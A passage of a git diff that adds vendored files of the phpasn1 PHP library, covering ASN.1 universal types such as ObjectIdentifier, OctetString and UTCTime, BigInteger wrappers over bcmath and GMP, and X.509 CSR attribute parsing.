} + + if ($isNegative) { + $number = $number->subtract(BigInteger::create(2)->toPower(8 * $contentLength - 1)); + } + + $parsedObject = new static((string)$number); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/NullObject.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/NullObject.php new file mode 100644 index 0000000..b5293e4 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/NullObject.php @@ -0,0 +1,54 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Exception\ParserException; + +class NullObject extends ASNObject implements Parsable +{ + public function getType() + { + return Identifier::NULL; + } + + protected function calculateContentLength() + { + return 0; + } + + protected function getEncodedValue() + { + return null; + } + + public function getContent() + { + return 'NULL'; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::NULL, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + + if ($contentLength != 0) { + throw new ParserException("An ASN.1 Null should not have a length other than zero. Extracted length was {$contentLength}", $offsetIndex); + } + + $parsedObject = new self(); + $parsedObject->setContentLength(0); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/NumericString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/NumericString.php new file mode 100644 index 0000000..13fb7c3 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/NumericString.php @@ -0,0 +1,38 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class NumericString extends AbstractString +{ + /** + * Creates a new ASN.1 NumericString. + * + * The following characters are permitted: + * Digits 0,1, ... 9 + * SPACE (space) + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowNumbers(); + $this->allowSpaces(); + } + + public function getType() + { + return Identifier::NUMERIC_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/ObjectDescriptor.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/ObjectDescriptor.php new file mode 100644 index 0000000..1c5d349 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/ObjectDescriptor.php @@ -0,0 +1,26 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\Identifier; + +class ObjectDescriptor extends GraphicString +{ + public function __construct($objectDescription) + { + parent::__construct($objectDescription); + } + + public function getType() + { + return Identifier::OBJECT_DESCRIPTOR; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/ObjectIdentifier.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/ObjectIdentifier.php new file mode 100644 index 0000000..150ce9c --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/ObjectIdentifier.php @@ -0,0 +1,138 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use Exception; +use FG\ASN1\Base128; +use FG\ASN1\OID; +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Exception\ParserException; + +class ObjectIdentifier extends ASNObject implements Parsable +{ + protected $subIdentifiers; + protected $value; + + public function __construct($value) + { + $this->subIdentifiers = explode('.', $value); + $nrOfSubIdentifiers = count($this->subIdentifiers); + + for ($i = 0; $i < $nrOfSubIdentifiers; $i++) { + if (is_numeric($this->subIdentifiers[$i])) { + // enforce the integer type + $this->subIdentifiers[$i] = intval($this->subIdentifiers[$i]); + } else { + throw new Exception("[{$value}] is no valid object identifier (sub identifier ".($i + 1).' is not numeric)!'); + } + } + + // Merge the first to arcs of the OID registration tree (per ASN definition!) + if ($nrOfSubIdentifiers >= 2) { + $this->subIdentifiers[1] = ($this->subIdentifiers[0] * 40) + $this->subIdentifiers[1]; + unset($this->subIdentifiers[0]); + } + + $this->value = $value; + } + + public function getContent() + { + return $this->value; + } + + public function getType() + { + return Identifier::OBJECT_IDENTIFIER; + } + + protected function calculateContentLength() + { + $length = 0; + foreach ($this->subIdentifiers as $subIdentifier) { + do { + $subIdentifier = $subIdentifier >> 7; + $length++; + } while ($subIdentifier > 0); + } + + return $length; + } + + protected function getEncodedValue() + { + $encodedValue = ''; + foreach ($this->subIdentifiers as $subIdentifier) { + $encodedValue .= Base128::encode($subIdentifier); + } + + return $encodedValue; + } + + public function __toString() + { + return OID::getName($this->value); + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::OBJECT_IDENTIFIER, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex, 1); + + $firstOctet = ord($binaryData[$offsetIndex++]); + $oidString = floor($firstOctet / 40).'.'.($firstOctet % 40); + $oidString .= '.'.self::parseOid($binaryData, $offsetIndex, $contentLength - 1); + + $parsedObject = new self($oidString); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } + + /** + * Parses an object identifier except for the first octet, which is parsed + * differently. This way relative object identifiers can also be parsed + * using this. + * + * @param $binaryData + * @param $offsetIndex + * @param $octetsToRead + * + * @throws ParserException + * + * @return string + */ + protected static function parseOid(&$binaryData, &$offsetIndex, $octetsToRead) + { + $oid = ''; + + while ($octetsToRead > 0) { + $octets = ''; + + do { + if (0 === $octetsToRead) { + throw new ParserException('Malformed ASN.1 Object Identifier', $offsetIndex - 1); + } + + $octetsToRead--; + $octet = $binaryData[$offsetIndex++]; + $octets .= $octet; + } while (ord($octet) & 0x80); + + $oid .= sprintf('%d.', Base128::decode($octets)); + } + + // Remove trailing '.' + return substr($oid, 0, -1) ?: ''; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/OctetString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/OctetString.php new file mode 100644 index 0000000..5d69ae7 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/OctetString.php @@ -0,0 +1,91 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use Exception; +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; + +class OctetString extends ASNObject implements Parsable +{ + protected $value; + + public function __construct($value) + { + if (is_string($value)) { + // remove gaps between hex digits + $value = preg_replace('/\s|0x/', '', $value); + } elseif (is_numeric($value)) { + $value = dechex($value); + } elseif ($value === null) { + return; + } else { + throw new Exception('OctetString: unrecognized input type!'); + } + + if (strlen($value) % 2 != 0) { + // transform values like 1F2 to 01F2 + $value = '0'.$value; + } + + $this->value = $value; + } + + public function getType() + { + return Identifier::OCTETSTRING; + } + + protected function calculateContentLength() + { + return strlen($this->value) / 2; + } + + protected function getEncodedValue() + { + $value = $this->value; + $result = ''; + + //Actual content + while (strlen($value) >= 2) { + // get the hex value byte by byte from the string and and add it to binary result + $result .= chr(hexdec(substr($value, 0, 2))); + $value = substr($value, 2); + } + + return $result; + } + + public function getContent() + { + return strtoupper($this->value); + } + + public function getBinaryContent() + { + return $this->getEncodedValue(); + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::OCTETSTRING, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + + $value = substr($binaryData, $offsetIndex, $contentLength); + $offsetIndex += $contentLength; + + $parsedObject = new self(bin2hex($value)); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/PrintableString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/PrintableString.php new file mode 100644 index 0000000..fe6d4bc --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/PrintableString.php @@ -0,0 +1,53 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class PrintableString extends AbstractString +{ + /** + * Creates a new ASN.1 PrintableString. + * + * The ITU-T X.680 Table 8 permits the following characters: + * Latin capital letters A,B, ... Z + * Latin small letters a,b, ... z + * Digits 0,1, ... 9 + * SPACE (space) + * APOSTROPHE ' + * LEFT PARENTHESIS ( + * RIGHT PARENTHESIS ) + * PLUS SIGN + + * COMMA , + * HYPHEN-MINUS - + * FULL STOP . + * SOLIDUS / + * COLON : + * EQUALS SIGN = + * QUESTION MARK ? + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowNumbers(); + $this->allowAllLetters(); + $this->allowSpaces(); + $this->allowCharacters("'", '(', ')', '+', '-', '.', ',', '/', ':', '=', '?'); + } + + public function getType() + { + return Identifier::PRINTABLE_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/RelativeObjectIdentifier.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/RelativeObjectIdentifier.php new file mode 100644 index 0000000..2aa9643 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/RelativeObjectIdentifier.php @@ -0,0 +1,57 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use Exception; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Exception\ParserException; + +class RelativeObjectIdentifier extends ObjectIdentifier implements Parsable +{ + public function __construct($subIdentifiers) + { + $this->value = $subIdentifiers; + $this->subIdentifiers = explode('.', $subIdentifiers); + $nrOfSubIdentifiers = count($this->subIdentifiers); + + for ($i = 0; $i < $nrOfSubIdentifiers; $i++) { + if (is_numeric($this->subIdentifiers[$i])) { + // enforce the integer type + $this->subIdentifiers[$i] = intval($this->subIdentifiers[$i]); + } else { + throw new Exception("[{$subIdentifiers}] is no valid object identifier (sub identifier ".($i + 1).' is not numeric)!'); + } + } + } + + public function getType() + { + return Identifier::RELATIVE_OID; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::RELATIVE_OID, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex, 1); + + try { + $oidString = self::parseOid($binaryData, $offsetIndex, $contentLength); + } catch (ParserException $e) { + throw new ParserException('Malformed ASN.1 Relative Object Identifier', $e->getOffset()); + } + + $parsedObject = new self($oidString); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Sequence.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Sequence.php new file mode 100644 index 0000000..0397cf1 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Sequence.php @@ -0,0 +1,23 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\Construct; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; + +class Sequence extends Construct implements Parsable +{ + public function getType() + { + return Identifier::SEQUENCE; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Set.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Set.php new file mode 100644 index 0000000..6e6d346 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Set.php @@ -0,0 +1,21 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\Identifier; + +class Set extends Sequence +{ + public function getType() + { + return Identifier::SET; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/T61String.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/T61String.php new file mode 100644 index 0000000..5641864 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/T61String.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class T61String extends AbstractString +{ + /** + * Creates a new ASN.1 T61 String. + * TODO The encodable characters of this type are not yet checked. + * + * @see http://en.wikipedia.org/wiki/ITU_T.61 + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::T61_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UTCTime.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UTCTime.php new file mode 100644 index 0000000..c4d303c --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UTCTime.php @@ -0,0 +1,77 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractTime; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Exception\ParserException; + +/** + * This ASN.1 universal type contains the calendar date and time. + * + * The precision is one minute or one second and optionally a + * local time differential from coordinated universal time. + * + * Decoding of this type will accept the Basic Encoding Rules (BER) + * The encoding will comply with the Distinguished Encoding Rules (DER). + */ +class UTCTime extends AbstractTime implements Parsable +{ + public function getType() + { + return Identifier::UTC_TIME; + } + + protected function calculateContentLength() + { + return 13; // Content is a string o the following format: YYMMDDhhmmssZ (13 octets) + } + + protected function getEncodedValue() + { + return $this->value->format('ymdHis').'Z'; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::UTC_TIME, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex, 11); + + $format = 'ymdGi'; + $dateTimeString = substr($binaryData, $offsetIndex, 10); + $offsetIndex += 10; + + // extract optional seconds part + if ($binaryData[$offsetIndex] != 'Z' + && $binaryData[$offsetIndex] != '+' + && $binaryData[$offsetIndex] != '-') { + $dateTimeString .= substr($binaryData, $offsetIndex, 2); + $offsetIndex += 2; + $format .= 's'; + } + + $dateTime = \DateTime::createFromFormat($format, $dateTimeString, new \DateTimeZone('UTC')); + + // extract time zone settings + if ($binaryData[$offsetIndex] == '+' + || $binaryData[$offsetIndex] == '-') { + $dateTime = static::extractTimeZoneData($binaryData, $offsetIndex, $dateTime); + } elseif ($binaryData[$offsetIndex++] != 'Z') { + throw new ParserException('Invalid UTC String', $offsetIndex); + } + + $parsedObject = new self($dateTime); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UTF8String.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UTF8String.php new file mode 100644 index 0000000..cba568d --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UTF8String.php @@ -0,0 +1,34 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class UTF8String extends AbstractString +{ + /** + * Creates a new ASN.1 Universal String. + * TODO The encodable characters of this type are not yet checked. + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::UTF8_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UniversalString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UniversalString.php new file mode 100644 index 0000000..0c3fe1d --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/UniversalString.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class UniversalString extends AbstractString +{ + /** + * Creates a new ASN.1 Universal String. + * TODO The encodable characters of this type are not yet checked. + * + * @see http://en.wikipedia.org/wiki/Universal_Character_Set + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::UNIVERSAL_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/VisibleString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/VisibleString.php new file mode 100644 index 0000000..d9326d3 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/VisibleString.php @@ -0,0 +1,34 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class VisibleString extends AbstractString +{ + /** + * Creates a new ASN.1 Visible String. + * TODO The encodable characters of this type are not yet checked. + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::VISIBLE_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/UnknownConstructedObject.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/UnknownConstructedObject.php new file mode 100644 index 0000000..b19a07a --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/UnknownConstructedObject.php @@ -0,0 +1,59 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +class UnknownConstructedObject extends Construct +{ + private $identifier; + private $contentLength; + + /** + * @param string $binaryData + * @param int $offsetIndex + * + * @throws \FG\ASN1\Exception\ParserException + */ + public function __construct($binaryData, &$offsetIndex) + { + $this->identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex); + $this->contentLength = self::parseContentLength($binaryData, $offsetIndex); + + $children = []; + $octetsToRead = $this->contentLength; + while ($octetsToRead > 0) { + $newChild = ASNObject::fromBinary($binaryData, $offsetIndex); + $octetsToRead -= $newChild->getObjectLength(); + $children[] = $newChild; + } + + parent::__construct(...$children); + } + + public function getType() + { + return ord($this->identifier); + } + + public function getIdentifier() + { + return $this->identifier; + } + + protected function calculateContentLength() + { + return $this->contentLength; + } + + protected function getEncodedValue() + { + return ''; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/UnknownObject.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/UnknownObject.php new file mode 100644 index 0000000..4ac536a --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/UnknownObject.php @@ -0,0 +1,59 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +class UnknownObject extends ASNObject +{ + /** @var string */ + private $value; + + private $identifier; + + /** + * @param string|int $identifier Either the first identifier octet as int or all identifier bytes as a string + * @param int $contentLength + */ + public function __construct($identifier, $contentLength) + { + if (is_int($identifier)) { + $identifier = chr($identifier); + } + + $this->identifier = $identifier; + $this->value = "Unparsable Object ({$contentLength} bytes)"; + $this->setContentLength($contentLength); + } + + public function getContent() + { + return $this->value; + } + + public function getType() + { + return ord($this->identifier[0]); + } + + public function getIdentifier() + { + return $this->identifier; + } + + protected function calculateContentLength() + { + return $this->getContentLength(); + } + + protected function getEncodedValue() + { + return ''; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/Utility/BigInteger.php b/includes/vendor/fgrosse/phpasn1/lib/Utility/BigInteger.php new file mode 100644 index 0000000..866162c --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/Utility/BigInteger.php @@ -0,0 +1,195 @@ +_fromInteger($val); + } + else { + // convert to string, if not already one + $val = (string)$val; + + // validate string + if (!preg_match('/^-?[0-9]+$/', $val)) { + throw new \InvalidArgumentException('Expects a string representation of an integer.'); + } + $ret->_fromString($val); + } + + return $ret; + } + + /** + * BigInteger constructor. + * Prevent directly instantiating object, use BigInteger::create instead. + */ + protected function __construct() + { + + } + + /** + * Subclasses must provide clone functionality. + * @return BigInteger + */ + abstract public function __clone(); + + /** + * Assign the instance value from base 10 string. + * @param string $str + */ + abstract protected function _fromString($str); + + /** + * Assign the instance value from an integer type. + * @param int $integer + */ + abstract protected function _fromInteger($integer); + + /** + * Must provide string implementation that returns base 10 number. + * @return string + */ + abstract public function __toString(); + + /* INFORMATIONAL FUNCTIONS */ + + /** + * Return integer, if possible. Throws an exception if the number can not be represented as a native integer. + * @return int + * @throws \OverflowException + */ + abstract public function toInteger(); + + /** + * Is represented integer negative? + * @return bool + */ + abstract public function isNegative(); + + /** + * Compare the integer with $number, returns a negative integer if $this is less than number, returns 0 if $this is + * equal to number and returns a positive integer if $this is greater than number. + * @param BigInteger|string|int $number + * @return int + */ + abstract public function compare($number); + + /* MODIFY */ + + /** + * Add another integer $b and returns the result. + * @param BigInteger|string|int $b + * @return BigInteger + */ + abstract public function add($b); + + /** + * Subtract $b from $this and returns the result. + * @param BigInteger|string|int $b + * @return BigInteger + */ + abstract public function subtract($b); + + /** + * Multiply value. + * @param BigInteger|string|int $b + * @return BigInteger + */ + abstract public function multiply($b); + + /** + * The value $this modulus $b. + * @param BigInteger|string|int $b + * @return BigInteger + */ + abstract public function modulus($b); + + /** + * Raise $this to the power of $b and returns the result. + * @param BigInteger|string|int $b + * @return BigInteger + */ + abstract public function toPower($b); + + /** + * Shift the value to the right by a set number of bits and returns the result. + * @param int $bits + * @return BigInteger + */ + abstract public function shiftRight($bits = 8); + + /** + * Shift the value to the left by a set number of bits and returns the result. + * @param int $bits + * @return BigInteger + */ + abstract public function shiftLeft($bits = 8); + + /** + * Returns the absolute value. + * @return BigInteger + */ + abstract public function absoluteValue(); +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/Utility/BigIntegerBcmath.php b/includes/vendor/fgrosse/phpasn1/lib/Utility/BigIntegerBcmath.php new file mode 100644 index 0000000..25ad891 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/Utility/BigIntegerBcmath.php @@ -0,0 +1,133 @@ +_str = (string)$str; + } + + protected function _fromInteger($integer) + { + $this->_str = (string)$integer; + } + + public function __toString() + { + return $this->_str; + } + + public function toInteger() + { + if ($this->compare(PHP_INT_MAX) > 0 || $this->compare(PHP_INT_MIN) < 0) { + throw new \OverflowException(sprintf('Can not represent %s as integer.', $this->_str)); + } + return (int)$this->_str; + } + + public function isNegative() + { + return bccomp($this->_str, '0', 0) < 0; + } + + protected function _unwrap($number) + { + if ($number instanceof self) { + return $number->_str; + } + return $number; + } + + public function compare($number) + { + return bccomp($this->_str, $this->_unwrap($number), 0); + } + + public function add($b) + { + $ret = new self(); + $ret->_str = bcadd($this->_str, $this->_unwrap($b), 0); + return $ret; + } + + public function subtract($b) + { + $ret = new self(); + $ret->_str = bcsub($this->_str, $this->_unwrap($b), 0); + return $ret; + } + + public function multiply($b) + { + $ret = new self(); + $ret->_str = bcmul($this->_str, $this->_unwrap($b), 0); + return $ret; + } + + public function modulus($b) + { + $ret = new self(); + if ($this->isNegative()) { + // bcmod handles negative numbers differently + $b = $this->_unwrap($b); + $ret->_str = bcsub($b, bcmod(bcsub('0', $this->_str, 0), $b), 0); + } + else { + $ret->_str = bcmod($this->_str, $this->_unwrap($b)); + } + return $ret; + } + + public function toPower($b) + { + $ret = new self(); + $ret->_str = bcpow($this->_str, $this->_unwrap($b), 0); + return $ret; + } + + public function shiftRight($bits = 8) + { + $ret = new self(); + $ret->_str = bcdiv($this->_str, bcpow('2', $bits)); + return $ret; + } + + public function shiftLeft($bits = 8) { + $ret = new self(); + $ret->_str = bcmul($this->_str, bcpow('2', $bits)); + return $ret; + } + + public function absoluteValue() + { + $ret = new self(); + if (-1 === bccomp($this->_str, '0', 0)) { + $ret->_str = bcsub('0', $this->_str, 0); + } + else { + $ret->_str = $this->_str; + } + return $ret; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/Utility/BigIntegerGmp.php b/includes/vendor/fgrosse/phpasn1/lib/Utility/BigIntegerGmp.php new file mode 100644 index 0000000..0791226 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/Utility/BigIntegerGmp.php @@ -0,0 +1,133 @@ +_rh = gmp_add($this->_rh, 0); + } + + protected function _fromString($str) + { + $this->_rh = gmp_init($str, 10); + } + + protected function _fromInteger($integer) + { + $this->_rh = gmp_init($integer, 10); + } + + public function __toString() + { + return gmp_strval($this->_rh, 10); + } + + public function toInteger() + { + if ($this->compare(PHP_INT_MAX) > 0 || $this->compare(PHP_INT_MIN) < 0) { + throw new \OverflowException(sprintf('Can not represent %s as integer.', $this)); + } + return gmp_intval($this->_rh); + } + + public function isNegative() + { + return gmp_sign($this->_rh) === -1; + } + + protected function _unwrap($number) + { + if ($number instanceof self) { + return $number->_rh; + } + return $number; + } + + public function compare($number) + { + return gmp_cmp($this->_rh, $this->_unwrap($number)); + } + + public function add($b) + { + $ret = new self(); + $ret->_rh = gmp_add($this->_rh, $this->_unwrap($b)); + return $ret; + } + + public function subtract($b) + { + $ret = new self(); + $ret->_rh = gmp_sub($this->_rh, $this->_unwrap($b)); + return $ret; + } + + public function multiply($b) + { + $ret = new self(); + $ret->_rh = gmp_mul($this->_rh, $this->_unwrap($b)); + return $ret; + } + + public function modulus($b) + { + $ret = new self(); + $ret->_rh = gmp_mod($this->_rh, $this->_unwrap($b)); + return $ret; + } + + public function toPower($b) + { + if ($b instanceof self) { + // gmp_pow accepts just an integer + if ($b->compare(PHP_INT_MAX) > 0) { + throw new \UnexpectedValueException('Unable to raise to power greater than PHP_INT_MAX.'); + } + $b = gmp_intval($b->_rh); + } + $ret = new self(); + $ret->_rh = gmp_pow($this->_rh, $b); + return $ret; + } + + public function shiftRight($bits=8) + { + $ret = new self(); + $ret->_rh = gmp_div($this->_rh, gmp_pow(2, $bits)); + return $ret; + } + + public function shiftLeft($bits=8) + { + $ret = new self(); + $ret->_rh = gmp_mul($this->_rh, gmp_pow(2, $bits)); + return $ret; + } + + public function absoluteValue() + { + $ret = new self(); + $ret->_rh = gmp_abs($this->_rh); + return $ret; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/AlgorithmIdentifier.php b/includes/vendor/fgrosse/phpasn1/lib/X509/AlgorithmIdentifier.php new file mode 100644 index 0000000..a06b56f --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/AlgorithmIdentifier.php @@ -0,0 +1,22 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509; + +use FG\ASN1\Universal\NullObject; +use FG\ASN1\Composite\AttributeTypeAndValue; + +class AlgorithmIdentifier extends AttributeTypeAndValue +{ + public function __construct($objectIdentifierString) + { + parent::__construct($objectIdentifierString, new NullObject()); + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/CSR/Attributes.php b/includes/vendor/fgrosse/phpasn1/lib/X509/CSR/Attributes.php new file mode 100644 index 0000000..5a965e2 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/CSR/Attributes.php @@ -0,0 +1,68 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509\CSR; + +use FG\ASN1\ASNObject; +use FG\X509\CertificateExtensions; +use FG\ASN1\OID; +use FG\ASN1\Parsable; +use FG\ASN1\Construct; +use FG\ASN1\Identifier; +use FG\ASN1\Universal\Set; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\ObjectIdentifier; + +class Attributes extends Construct implements Parsable +{ + public function getType() + { + return 0xA0; + } + + public function addAttribute($objectIdentifier, Set $attribute) + { + if (is_string($objectIdentifier)) { + $objectIdentifier = new ObjectIdentifier($objectIdentifier); + } + $attributeSequence = new Sequence($objectIdentifier, $attribute); + $attributeSequence->getNumberOfLengthOctets(); // length and number of length octets is calculated + $this->addChild($attributeSequence); + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], 0xA0, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + $octetsToRead = $contentLength; + + $parsedObject = new self(); + while ($octetsToRead > 0) { + $initialOffset = $offsetIndex; // used to calculate how much bits have been read + self::parseIdentifier($binaryData[$offsetIndex], Identifier::SEQUENCE, $offsetIndex++); + self::parseContentLength($binaryData, $offsetIndex); + + $objectIdentifier = ObjectIdentifier::fromBinary($binaryData, $offsetIndex); + $oidString = $objectIdentifier->getContent(); + if ($oidString == OID::PKCS9_EXTENSION_REQUEST) { + $attribute = CertificateExtensions::fromBinary($binaryData, $offsetIndex); + } else { + $attribute = ASNObject::fromBinary($binaryData, $offsetIndex); + } + + $parsedObject->addAttribute($objectIdentifier, $attribute); + $octetsToRead -= ($offsetIndex - $initialOffset); + } + + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/CSR/CSR.php b/includes/vendor/fgrosse/phpasn1/lib/X509/CSR/CSR.php new file mode 100644 index 0000000..8f2a319 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/CSR/CSR.php @@ -0,0 +1,159 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509\CSR; + +use FG\ASN1\OID; +use 